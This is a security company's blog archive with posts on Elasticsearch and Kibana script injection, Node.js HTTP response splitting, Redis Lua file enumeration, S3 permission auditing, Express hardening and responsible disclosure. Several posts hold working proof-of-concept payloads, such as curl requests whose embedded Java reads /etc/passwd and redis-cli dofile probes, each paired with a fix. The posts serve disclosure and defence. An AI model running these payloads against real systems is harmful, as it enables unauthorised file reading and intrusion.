^Lift Security blog @liftsecurity - Tumblr Blog

Elasticsearch Command Execution using "script"

In the process of trying to full text index all of the source code from node modules within npm for the Node Security Project, I encountered a feature of Elasticsearch that I couldn't stay away from playing with: scripting. Sometimes the most innocent of features can create a vulnerability. Scripting is enabled by default in Elasticsearch and if left bound to a public interface allows for easy system command execution. Elasticsearch Here is a simple example to read /etc/passwd

# Create a document curl -XPUT :9200/blog/article/1/ -d '{"foo":"bar"}'

# Update it running the provided script. It puts the file contents in the content field.

curl -XPOST :9200/blog/article/1/_update -d '{"script": "ctx._source.content = 1;import java.util.*;import java.io.*;String content=new Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();ctx._source.content=content"}' # Now get the content curl :9200/blog/article/1/ # Result { "_index" : "blog", "_type" : "article", "_id" : "2", "_version" : 2, "exists" : true, "_source" : {"content":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\nsys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/var/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/spool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:proxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh\nbackup:x:34:34:backup:/var/backups:/bin/sh\nlist:x:38:38:Mailing List Manager:/var/list:/bin/sh\nirc:x:39:39:ircd:/var/run/ircd:/bin/sh\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh\nnobody:x:65534:65534:nobody:/nonexistent:/bin/sh\nlibuuid:x:100:101::/var/lib/libuuid:/bin/sh\nsyslog:x:101:103::/home/syslog:/bin/false\nmessagebus:x:102:105::/var/run/dbus:/bin/false\nlandscape:x:103:108::/var/lib/landscape:/bin/false\nsshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin\nwhoopsie:x:105:109::/nonexistent:/bin/false\nelasticsearch:x:106:113::/usr/share/elasticsearch:/bin/false\nntp:x:107:114::/home/ntp:/bin/false"} }

Kibana Sometimes Elasticsearch is hidden behind the veil of another service like Kibana. It's still possible to get execution using Kibana, as it essentially proxies our queries straight into Elasticsearch.

curl 'http://kibana.example.net/logstash-2013.11.11/_search' -X POST -H 'Authorization: Basic eWV0aXM6em9vbXpvb21idXR0ZXI=' -H 'Host: kibana.example.net' -d @script_kibana

Contents of @script_kibana

{"query":{"filtered":{"query":{"bool":{"should":[{"query_string":{"query":"*"}}]}},"filter":{"bool":{"must":[{"match_all":{}},{"range":{"@timestamp":{"from":1384193353299,"to":1384196953300}}},{"bool":{"must":[{"match_all":{}}]}}]}}}},"highlight":{"fields":{},"fragment_size":2147483647,"pre_tags":["@start-highlight@"],"post_tags":["@end-highlight@"]},"size":1,"sort":[{"@timestamp":{"order":"desc"}}],"script_fields": {"uid_in_script": {"script": "import java.util.*;import java.io.*;String content = new Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();return content;"}}}

Avoid having somebody run commands on your Elasticsearch servers You can disable this feature by adding the following to your Elasticsearch config file, then restarting the service. Keep in mind that you will want to disable this on all the nodes in your cluster.

script.disable_dynamic: true

Of course if you need to have scripting enabled and don't have your nodes exposed to the outside world I would just recommend that you build your elastisearch payloads very methodically not letting the user specify specifics that end up in the query / update payloads.

#elasticsearch #feature #command execution #script

Announcing the ^Lift Summer Security Mentorship

I grew up in a very small farming community and was drawn to technology at a young age. After getting caught hacking into the local BBS when I was 16, instead of getting in trouble I was given an amazing opportunity (which I didn't realize until much later in life).

The person that ran the BBS gave me a job. He taught me all about building and fixing computers, running a small business, and of course, he put my curiosity to work as well.

I got my feet wet learning about reverse engineering, using softice. I think my first exercise was bypassing the neopaint nag screen, among other things. I was taught in a safe environment where he knew that I wasn't going to get into any trouble, but I could continue to learn.

Over the last few months I have sought out local students and individuals that have both a passion for security and the desire to learn, and recruited them for a summer mentorship at ^Lift Security. My hope is to provide them with the same opportunities to grow, learn, and explore security in a similarly interactive and safe environment, like the one I had when I was their age.

I'm excited for things to begin today and am confident the mentees will have some amazing stories, vulns, and research to share by the end of the summer.

#mentorship

SECURITY.md - Improved Security Disclosure Communication

During my JSConf 2013 talk on Builders vs. Breakers I suggested that one way developers can communicate with breakers (security researchers) better would be to include a SECURITY.md file with their projects. Often times it's difficult for security researchers to find out how to contact a project. This helps ensure issues are sent to you, the developer or company, instead of just put out there publicly (unless that's what you want).

Since we already are very used to adding a README.md and CONTRIBUTORS.md to a project, why not SECURITY.md?

The intention of this file is to explain how you as the project maintainer would like security issues handled for your project and would include:

1. How to report security issues

How should contact be made and to whom? Maybe you want them sent privately to a specific email address or possibly just submit them via Github issues.

Is there a backup contact?

2. Communication expectations

Define the rough expectations for when the finder / reporter will hear back from the project. Explain that these are rough guidelines and that sometimes security researchers need to remember that the project maintainers typically have real jobs, lives and other things on their plate than just this project so they need to be patient through the process.

3. Credit

Give credit where credit is due. Remember security researchers, fellow developers or users of your library are reporting these things with good intention and tend to be using their own free time to do so. It's a nice gesture to make sure and tip your hat to them.

4. History (recommended but optional)

For an example of something that is straight forward and very well documented take a look at how ember.js has defined their security disclosure process, they have done a great job.

Also be sure and check out the &yet SECURITY.md for And Bang, and command below of send a pull request if you have thoughts of changes we should incorporate.

#security #security.md #jsconf #communication

Join us at NodePDX

We are proud to be sponsoring NodePDX this next week in Portland, OR.

In addition to sponsoring, Adam Baldwin is going to be talking about The Node Security project, a project that we founded and are organizing. Something that we could not do without the support of the node and security communities!

So please grab a ticket while they are still available, get your node on, listen to some great speakers. It's going to be a great time.

#nodepdx #conference

Quickly Audit S3 Bucket Permissions

One of my co-workers pointed me to an article about scanning S3 for open buckets and asked how our own S3 infrastructure looked. After reading about how easy it was, for anyone who wants to find, to discover and inspect S3 buckets in the wild in that post made me think about how hard it is to routinely audit S3 data.

At ^Lift Security we are always looking to make sure that our site and it’s data is secure – just part of what we do. But we also look to make or find tools that make good security part of the normal process, if it's tedius or hard then it's not followed up on.

A modern site is more likely to have static content hosted at a CDN or as "bucket" inside of Amazon's S3 service. This increases the number of places you need to check and also increases the chance of accidents that lead to information leakage, or worse, leaks of keys or other authentication items

Making sure your S3 buckets are not accidentally open to the world is a tedious button-clicking process if you only have access or use the AWS S3 Console. Heck, even if you script it using something like the Boto library, you get an output that is not obvious or clear. This Python

from boto.s3.connection import S3Connection conn = S3Connection('<access key>', '<secret key>') rs = conn.get_all_buckets() for b in rs: for grant in b.get_acl().acl.grants: print grant.permission, grant.display_name

generates output from the Grant element of a Boto Bucket:

READ ops WRITE ops READ_ACP ops WRITE_ACP ops READ None

not exactly helpful, especially that last line – you have no idea that you have granted READ permission to AllUsers.

So I created a basic Python script named s3scan that loads your AWS credentials from a configuration file, calls S3 via boto for all of the known buckets and generates a summary of permissions:

foo_bucket — bar_bucket — Write: AuthenticatedUsers,owner baz_bucket — Read: AllUsers,owner bad_bucket — Write: AllUsers,owner Read: AllUsers,owner ACP Write: AllUsers,owner ACP Read: AllUsers,owner

foo_bucket, bar_bucket and baz_bucket all display safe and/or sane buckets permissions, but the output for bad_bucket should worry you. The presence of any user id except your owner account in the ACP Read/Write output means your bucket is open. ACP Write means that anyone can change the permissions for your bucket and then start uploading new items or even changing their content.

Now you should be able to quickly audit your S3 configuration from the command line without having to do a lot of button-mashing. It would also be easy to adjust the output to generate keywords that could be grep'd for in a cronjob. Pull requests accepted!

#Amazon #S3 #Permissions

Node.js 0.8.20 Released with Security fix for HTTP Response Splitting Fix

Node.js 0.8.20 was just released and contains a security fix for response splitting.

Response splitting is when a user controlled value (such as a query string parameter) containing new line characters is put in to a header of the response. The injection of additional carriage returns gives an attacker control of the response allowing injection of content into the headers and body.

Let's take a look at the simple example @charliesome provided in the pull request when he initially reported the issue.

var http = require("http"), url = require("url"); http.createServer(function (req, res) { var queryData = url.parse(req.url, true).query; res.writeHead(302, { "Location": queryData.redirect }); res.end();}).listen(1337, "127.0.0.1");

Using this properly a request and response would look like this. Request:

GET /?redirect=http://liftsecurity.io HTTP/1.1 Host: 127.0.0.1:1337 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive

Response:

HTTP/1.1 302 Moved Temporarily Location: http://liftsecurity.io Date: Sat, 16 Feb 2013 01:51:27 GMT Connection: keep-alive Content-Length: 0

Note: there is no body to the response.

Charlie's example malicious request injects a marquee but it could be any script or body, even other headers.

Request:

GET /?redirect=%0D%0AContent-Length:%2033%0D%0A%0D%0A%3Ch1%3E%3Cmarquee%3Eowned%3C/marquee%3E%3C/h1%3E%0D%0A HTTP/1.1 Host: 127.0.0.1:1337 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive

Response:

HTTP/1.1 302 Moved Temporarily Location: Content-Length: 33 <h1><marquee>owned</marquee></h1> Date: Sat, 16 Feb 2013 01:54:08 GMT Connection: keep-alive Transfer-Encoding: chunked 0

The modified redirect includes a content-length header and a new "malicious" body.

Even though this patch addresses this vulnerability it's best practice to always properly santize any user provided data before sending it on, be that a browser, a database or some other system.

Want to keep up on node.js security related issues, follow us on twitter at @nodesecurity

Edit: Interesting timeline note, is that it appears this was brought up about a year ago in this issue.

#nodesecurity #response splitting #node.js

Vulnerability Reports via Pull Request - A recent example with npm

In the security industry there is a lot of “Hey you, software developer / project! You screwed up on x, go fix it.” and then the “researcher” moves on to another target.

The problem with this for the researcher (at least from my experience) is that the "high" from finding vulnerabilities just doesn’t last that long and if you're the type of person who wants to make the world better, it leaves you feeling like your only contribution to the world is pointing and laughing at others' mistakes.

I’ve been searching for and developing ways to take more of a positive, constructive approach within the security industry. Over time, I’ve come to the conclusion that my place is to not contribute to the security industry directly, but to software developers.

At ^Lift we try hard to make positive contributions to developers knowledge, understanding, and value of security—and we're always aiming to find different and better ways to do this.

Sometimes just a little attempt can go a long way toward making a positive impact. Let’s look at a recent attempt to report a vulnerability in a different way.

In npm vulnerability reported with a pull request

npm is a major part of the node.js ecosystem. The security and integrity of this system is pretty important to a lot of developers out there. Our parent company &yet relies heavily on it, so it's a pretty good target for us to care about.

After finding that the new npmjs.org site did not implement cross-site request forgery tokens, it was possible for me to hijack a user account by submitting changes to a logged in user's profile and resetting their password. A pretty typical way to take over an account. Having this access means you can publish updates to packages that user has access to.

Instead of just releasing the information publicly, or reporting the issue and saying “go fix it yourself”, I made an attempt to fix the problem and submitted a pull request.

Isaac Schlueter's response

While Isaac did not necessarily like my pull request's implementation, the problem got fixed, the csrf-lite library was created to help developers implement CSRF protection, and our most recent exchange regarding Node security brought light to the topic from a different angle.

I was curious to find out how he felt about how I had reported the issue—and if taking things a step further than just a bug report was really a better approach. I emailed him and asked him for his thoughts.

I loved his comments:

I think the publicity of an exploit report should be inverselyproportionate to the danger multiplied by the fixing cost.

That is, if something is very dangerous, or very costly to fix, then it should *definitely* be reported in private. For example, imagine if there was a bug in node causing an exploit that would let an attacker execute arbitrary JS code on any node http server that parses the query string. That'd require a release, and then everyone to upgrade to that release, which takes a few weeks at the very least. That should definitely be reported privately so that we can fix it, verify that it's fixed, release the fix, and THEN disclose it publicly. This is how you handled the npm password hash issue, which was quite tricky to fix, and I think it was the right approach. High danger, high fixing cost = very private.

The danger of CSRF is quite a bit lower. You have to get someone to actually click a button, which isn't all that hard, but also isn't nothing. The fix is pretty straightforward, just stash a token and then verify it later, and it can be fixed in one place without having to get a bunch of people to update anything. So, low danger, easy fix. In that case, a pull request is exactly right. It's much more considerate than just tweeting or blogging about how "npmjs.org sux teh secrutiy fail lulz!" which is sadly a pretty common approach. I had some issues with your specific fix, but if I didn't have the time to whip up a standalone module, I could have just pulled your change, and that would have plugged the exploit. So, the cost to fix was even *lower* because you actually supplied a patch.

Sometimes there are issues that aren't necessarily security-related, but are still gnarly harmful bugs. There was an issue where the `n` library would attempt to `rm -rf ~/` if you did a certain invalid command. In that case, a very public report was absolutely the right approach (and TJ did the right thing, fixing it fast, and alerting everyone he could about it), but some of the people reporting it still reacted with outrage, as if they'd never fucked up a computer before, even though the bug never even affected them.

Like any bug, I think a good rule of thumb is to think about what you'd prefer if it was your site that someone was reporting, and assume that the fixing costs might be a bit higher than they appear at first, especially if there are a lot of moving parts

I must add a special thanks to Nathan LaFreniere and Lance Stout from our team for helping out with the original patch sent to npm.

#nodesecurity #node.js #npm #csrf

Authy Two-Factor Dashboard Security

Authy is a useful service for adding two-factor authentication to any app.

One problem: authy.com isn't thoroughly two-factor.

So if you are considering adding Authy two-factor support to your application, please contact their customer support and request that they enable true two-factor authentication on your developer dashboard account. (Based on our communication with Authy support, it was a calculated decision not to enabled this by default and require that you request it through customer service.)

You see, authy.com only requires an email and token to log into your account, effectively allowing anybody with this token access to your account.

The tokens that the authy app generates are time based and can be submitted multiple times. The tokens are not tied to any specific web application so a token provided to one web app can be submitted to another Authy enabled application.

I hope you can see where I’m going with this.

Here is how an exploitation scenario would work.

1. An admin / user of the Authy dashboard would have to visit and log into another site using Authy for two factor authentication.   This site would either have to be compromised by or run by the attacker so they would have access to the submitted token.

2. The attacker would then quickly submit a login request using the email address and token provided by the user to log into the authy.com account.

So what information can the attacker gain?

The attacker would gain access to the following.

API Keys for registered applications. They could do anything outlined in the API documentation, such as deleting registered users. Also API keys can not be changed from the Authy dashboard.

User details for registered users including:

Authy ID

Partial cell phone # (Example 509-XXX-1212)

Device type

Last Login

Ability to add user collaborator accounts

Developers: I really don’t want this to dissuade you from using Authy or any other two factor solution for your application. (In fact, Authy seems like a pretty great service, we like it so much we maintain the node-authy library for integrating Authy into node.js projects.)

Authy: I urge you to consider changing your default authentication scheme to be true two-factor.

If you enjoyed this, say hi to @adam_baldwin on twitter.

#two-factor #auth

Writing secure express.js apps

Here is a starting guide for securing express.js applications, specifically Express v3. It is by no means a comprehensive guide on web application security. Standard rules and practices apply to express.js apps just as if they would to Rails, Django or any other web application. I'm going to hit the high points of items that always seem to come up. Don't run as root It's been long foretold by the ancient bearded ops that one shall run a service with the least amount of privilege necessary and no more. However this ancient folklore seems to be forgotten from time to time when less experienced devs run into the obvious problem of running their new webapp on ports 80 and 443. Running as root solves this quickly and they can move on to other, more fun challenges. One way to approach this is to drop process privileges after you bind to the port using something like this:

http.createServer(app).listen(app.get('port'), function(){ console.log("Express server listening on port " + app.get('port')); process.setgid(config.gid); process.setuid(config.uid); });

Note: As Joshua Heiks points out in the comments below the gid should be set before the uid.

There are a couple caveats to this. It's not available on Windows and if you drop privileges before your bind actually finishes you could run into issues, but to be honest, I have never had this happen. Another is to use something like authbind or by putting something like nginx or another proxy in front of your application. Whatever you do, just don't freak'n run as root. Sessions Most express apps are going to deal with user sessions at some point. Session cookies should have the SECURE and HTTPOnly flags set. This ensures they can only be sent over HTTPS (you are using HTTPS, right?) and there is no script access to the cookie client side.

app.use(express.session({ secret: "notagoodsecretnoreallydontusethisone", cookie: {httpOnly: true, secure: true}, }));

Security Headers There are plenty of security headers that help improve security with just a line or two of code. I'm not going to explain them all, but you should read and familiarize yourself with them. A great article to read is Seven Web Server HTTP Headers that Improve Web Application Security for Free The easiest way to implement most of these headers in Express is to use the helmet middleware. npm install helmet Then we can add them to our app.configure for express

app.configure(function(){ app.set('port', process.env.PORT || 3000); app.set('views', __dirname + '/views'); app.set('view engine', 'jade'); app.use(express.favicon()); app.use(express.logger('dev')); app.use(express.bodyParser()); app.use(helmet.xframe()); app.use(helmet.iexss()); app.use(helmet.contentTypeOptions()); app.use(helmet.cacheControl()); app.use(express.methodOverride()); app.use(express.cookieParser()); app.use(express.session({ secret: "notagoodsecret", cookie: {httpOnly: true, secure: true}, })); app.use(app.router); app.use(express.static(path.join(__dirname, 'public'))); });

Cross-Site Request Forgery (CSRF) Protection Express provides CSRF protection using built in middleware. It's not enabled by default. Documentation for the express.csrf() middleware is available here. To enable CSRF protection let's add it to the app.configure section. It should come after the session parser and before the router. The first line we add is to add csrf tokens to the users session.

app.use(express.csrf());

Then, since Express v3 did away with dynamic helpers, we use a small middleware to add the token to our locals making it available to templates.

app.use(function (req, res, next) { res.locals.csrftoken = req.session._csrf; next(); });

The final example, putting it together:

app.configure(function(){ app.set('port', process.env.PORT || 3000); app.set('views', __dirname + '/views'); app.set('view engine', 'jade'); app.use(express.favicon()); app.use(express.logger('dev')); app.use(express.bodyParser()); app.use(helmet.xframe()); app.use(helmet.iexss()); app.use(helmet.contentTypeOptions()); app.use(helmet.cacheControl()); app.use(express.methodOverride()); app.use(express.cookieParser()); app.use(express.session({ secret: "notagoodsecret", cookie: {httpOnly: true}, })); app.use(express.csrf()); app.use(function (req, res, next) { res.locals.csrftoken = req.session._csrf; next(); }); app.use(app.router); app.use(express.static(path.join(__dirname, 'public'))); });

Here is an example of using the csrf token in a jade template:

form(method="post",action="/login") input(type="hidden", name="_csrf", value="#{csrftoken}") button(type="submit") Login

NOTE: I removed the secure: true for this example so it would work without SSL if you wanted to test it out. Those are just a few things to get you started securing your Express app. Chances are you will be doing that in every app you create, so I created the express-secure-skeleton app to make playing around with these security features a bit easier. Please fork and contribute.

#express.js #csrf #privileges #sessions #headers #node.js

Filesystem Enumeration using Redis and Lua

Redis 2.6 was recently released by Antirez at the end of RedisConf. One of the major features that comes with 2.6 is embedded Lua scripting. Even though the Lua sandbox within Redis has been very locked down to only the base library and a few others, we have found at least one way to abuse Lua to get some data from outside the sandbox. There is a function to load and execute a file called dofile() Given the fact that Lua scripts should perform atomically, this function shouldn't actually exist in the sandbox. We have a pending pull request to remove this function. The errors this function gives allow an attacker to determine if a file or directory exists or not. This might be useful in locating a web root or determining the operating system. Not a significant vulnerability in and of itself, but gives information to an attacker they would not otherwise have. When a file doesn't exist we get a very obvious "No such file or directory error" net read 127.0.0.1:6379 id 1: -ERR Error running script (call to f_b5e5869caf1de9ffa1ae173bf46fef3024d3f987): cannot open /dev/a: No such file or directory Here is an example of how to do this enumeration from a shell.

$ redis-cli -h localhost -p 6379 eval "dofile('/etc/passwd')" 0

(error) ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:2: unexpected symbol near '#'

$ redis-cli -h localhost -p 6379 eval "dofile('/tmp')" 0

(error) ERR Error running script (call to f_70391feea8a62e239b3055c11b7d9d1d8c78db6e): cannot read /tmp: Is a directory

$ redis-cli -h localhost -p 6379 eval "dofile('/doesnotexist')" 0

(error) ERR Error running script (call to f_e84ccf03dc6b3547568096467afa7b3242ed108d): cannot open /doesnotexist: No such file or directory Conclusion for penetration testers: Keep an eye out for Redis servers on the network during your assessments Conclusion for everyone else: Keep your Redis server off the Internet by setting "bind 127.0.0.1" in the redis.conf file.

#redis #lua #security

That thing where you didn't change the Redis default config...

One of the best ways you can secure your Redis instance is to make it listen only on the localhost interface, or firewall it from the rest of the Internet.

Unfortunately, by default Redis listens on all interfaces.. (By the way, antirez: if you are reading this, please consider changing the default.)

This means that if you don't change the default, all the data you store is potentially just sitting out there to be read, modified or deleted. Changing the default behavior is very simple.

Binding to a single interface can be done in the redis.conf file by adding a line like this.

bind 127.0.0.1

I was curious to see just how many people take that basic security advice to heart so I scanned across Amazon EC2. Out of 2,375,680 IP Address scanned only 1,805 hosts were found to have redis installed and running on it's default port of 6379/TCP. That's not very many servers, but out of 1805, only 25% required authentication, leaving a pile of servers exposed. In other terms, that was:

180,800,802 Million keys

375.3436 GB of exposed data

Now it's possible, but I highly doubt that it was all worthless cache data. I didn't go pillaging and plundering—though I could have! Here is a breakdown of the top 10 versions found. The latest version of "stable" Redis is 2.4.17. 111 | Version 2.4.8 105 | Version 2.4.15 102 | Version 2.4.17 96 | Version 2.2.12 93 | Version 2.4.10 75 | Version 2.4.16 74 | Version 2.4.14 65 | Version 2.4.13 51 | Version 2.2.11 46 | Version 2.4.2 The oldest version we found deployed was 1.2.0 — on 12 hosts! tl;dr: Step one in keeping your Redis instance safe is to just keep it off the damn Internet. --- Learn more tips we use to secure our Redis servers by joining @HenrikJoreteg, @fritzy, and myself in our Redis master class the day before RedisConf in Portland, OR. I can be found on the twitters at @adam_baldwin

#Redis #secure defaults #ec2

Why don’t more developers use Content Security Policy?

A question that has been on my mind lately is why don’t more web developers implement Content Security Policy (CSP)? I think the same of other security headers, but I’m going to try and keep this focused. Here is what I speculate are some of the core reasons.

Developers don’t know what CSP is

It’s experimental and support is limited

Adapting policies to existing web apps can be frustratingly difficult.

Immediately after writing the above, I polled Twitter and got some responses—including a couple from my coworkers at &yet.

@adam_baldwin I'd bet people just don't even know it exists or what it is. I've never seen any developers write or talk about it.

— Henrik Joreteg (@HenrikJoreteg) September 29, 2012

@adam_baldwin lack of knowledge, time, expertise and "if it hasn't hurt me so far i'm probably ok" illogical thinking...

— Jack Dempsey (@jackdempsey) September 29, 2012

Developers don’t know what CSP is I was recently disappointed in my own internal evangelizing efforts when one of our developers didn’t know what CSP was. The majority of the time I bring up CSP to developers, they either haven’t heard of it or have heard of it but haven’t implemented it.

Content security policies are just big words (headers) for saying "Hey, browser, all my resources from this app will come from the following domains. Don't load anything else." They can also block inline script from executing or style from being loaded, which is handy for blocking pesky vulnerabilities like cross-site scripting.

Here are some great resources to get familiar with Content Security Policy. (Psst, share these with a friend and make the world a better place.) Content Security Policy 1.1 Draft Spec An Introduction to Content Security Policy by Mike West It’s experimental and support is limited It’s true, CSP is not a finalized spec and is only supported by Firefox, Chrome, and Safari, but that's a pretty huge chunk of the browser market—especially when it comes to users of modern web apps, so I don’t think that's actually a valid excuse. Other browsers will ignore the header and there are ways to report policy violations.

@adam_baldwin sounds like work.

— fritzy (@fritzy) September 29, 2012

Now, Fritzy's just a troll, but at least he's an honest one. Adapting policies to existing webapps can be difficult If I had to pick one reason why developers won’t implement CSP is that it’s just a pain in the posterior to add policies to existing complex web apps. Figuring out what policies should be in place to not allow something silly can be confusing enough but then you add in the fact that people working on the project might not be developers. Designers are adding styles and some interaction—and you could easily have all different levels of knowledge and skill contributing on a project.

@adam_baldwin I'd say inline scripting all over the codebase.

— kkotowicz (@kkotowicz) September 29, 2012

One tip I can give here for new projects is to not put any script or style inline and load all static resources like css, javascript and images from a consistent source. That will make writing a policy a lot less painful. If you are building node / express.js applications I suggest you use helmet to quickly add security headers to your application, including a restrictive default content security policy. There are also some additional surprises that I have in store for helmet users that should aid in the adoption of CSP, so watch this space. - - - If you enjoyed this post, please send it to at least one developer you know that might not know anything about Content Security Policy, oh and follow me on twitter; @adam_baldwin

xss.io - blind xss, rapid exploit development and referer based redirects demonstration from DEFCON 20.

The vulnerability used in the demonstration is a persistent XSS in the latest version of Nagios XI.

#xss.io #xss #DEFCON

Mistakes! Keep Calm & Carry On

There is this gut wrenching feeling when I come across a post that mentions a vulnerability in a site that I have done an assessment for. If you perform web application assessments chances are you have experienced the same cringe-worthy feeling. If you are a [I want to say proprietor of a web application or developer but that sounds strange and I can’t think of the right words], read on, there are lessons to be learned for you as well. Here are a few steps I take to deal with the pain and resolve the situation. First, take a step back and calm down Take a deep breath, everyone makes mistakes, in order to learn from them we must first do the hard job of acknowledging them. To bury your head in the sand in an attempt to ignore it would be like all the other vendors that you have reported problems to never fixing the issues you identified. I hope you can understand just how frustrating that is. Let it motivate you to learn more about something you probably thought you knew a lot about. Maybe you aren’t going to learn something technical about the actual vulnerability, but about your assessment process and how it could be better and more thorough. Maybe you didn’t make a mistake. As assessment is typically a time boxed, resource constrained, moment-in-time look at a complex system. It’s possible that this is new research that simply wasn’t available during your assessment (hint: go learn about it). Applications rarely stay static, so maybe there was new code committed which made the application vulnerable after you did your assessment. Do what we do Recommend, upfront, that your client should use multiple vendors in a rotating capacity. This ensures that there are more eyes on the lookout for potential problems and risks. I think bug bounties on mature apps also help fill this gap, but most clients are just not up for that challenge. Remember, you are human and you will miss something, that's okay. You owe it to your clients to have their best interest in mind. Finally, let your customer know. The author of the vulnerability may not have disclosed the issue to the vendor. You should let the vendor know about the issue, acknowledge the above and provide them with the information and recommendations to resolve the problem. It’s little things like this that will allow your client to see that you care about their success even if you aren’t getting paid. I'm a driven person and you probably are, too. It's a giant blow to the ego to have someone pwn an app you've tested. But we all acknowledge that security is a continuous process, not something you can set and forget. At the end of the day, we're humans and so are our clients. We all know what it's like to make mistakes and we also know those who are most apt to try and avoid mistakes in the future are those who can admit them.

#security #process #do better

Trending Blogs

Recently Viewed Blogs

^Lift Security blog